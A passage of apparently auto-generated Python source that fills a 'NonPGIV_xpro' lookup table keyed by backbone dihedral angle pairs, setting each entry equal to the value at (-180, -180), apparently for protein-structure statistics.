NonPGIV_xpro[(-60, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-50, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-40, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-30, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-20, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-10, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(0, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(10, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(20, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(30, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(40, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -70)]=NonPGIV_xpro[(-180, -180)]
